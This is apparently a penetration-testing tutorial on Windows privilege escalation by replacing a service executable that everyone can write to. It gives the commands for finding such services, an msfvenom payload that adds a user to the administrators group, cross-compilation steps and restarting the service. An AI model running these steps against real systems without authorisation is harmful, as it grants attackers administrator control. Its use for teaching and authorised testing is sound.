How to Use Microsoft Windows Service Privilege Escalation on a Security Test (1)

So, when you have exploited a Microsoft Windows Machine you may want to perform Privilege escalation on it. This process begins with us profiling the services on the target machine and looking for services running with elevated permissions. For Example:

```
C:\> sc queryex type= service state= all
```

The above command will list all services on the target system. From the returning list we can select a target process are target it further. To do this we use the following command. The **accesschk.exe** command can be download form **https://github.com/ankh2054/windows-pentest**.

```
C:\> accesschk.exe /accepteula -uwcqv <current user>
```

So, we can work through the list of services and identify a service has higher privilege and write permission on its executable binary. We start this process as follows by examining the state of the **sampleservice** service running on the target system.

```
C:\> sc qc sampleservice
. . . . . .
SERVICE_NAME: sampleservice
        . . . . . .
        BINARY_PATH_NAME   : C:\WINDOWS\System32\sampleservice.exe
        . . . . . .
        SERVICE_START_NAME : LocalSystem
```

The above gives us the full path to the executable of the service and the privilege that the service is executing at. So, the next step is to examine the file permissions on the executable and see if we have write permission.

```
C:\> icacls C:\WINDOWS\System32\sampleservice.exe
icacls "C:\WINDOWS\System32\sampleservice.exe"
C:\WINDOWS\System32\sampleservice.exe. Everyone(:F)
```

So, now that we know that we can write to the file then we need to create a replacement service. We can do this with iii as follows:

```
$ msfvenom -p windows/exec CMD="net localgroup administrators myuser /add"
-f exe-service -o sampleservice.exe
```

The generation of the above shellcode demonstrates adding a user "**myuser**" under the "**administrators**" group. Or we can cross compile an application for Microsoft Windows on a Kali/Linux system and upload it to the target system via TFTP as follows. We would use **searchsploit** search for the application that we wish to compile and execute on the target system.

```
$ x86_64-w64-mingw32-gcc shell.c -o sampleservice.exe
```

Once we have compiled the executable **sampleservice.exe** and uploaded via **TFTP** to the target machine then we move to execute our application as the replacement service. In the above example we are compiling for a 64-bit architecture. If we want to compile for a 32-bit architecture, then we would use the following command **i686-w64-mingw32-gcc**. The mingw32 compiler can be download and installed via the **apt-get install mingw-w64** command. Once we have created the replacement service, we rename the old service and copy in the new service to the target location (**C:\WINDOWS\System32**) on the target system. Then we can stop and start the service, as follows, and new service will be executing.

```
C:\> net stop sampleservice
C:\> net start sampleservice
```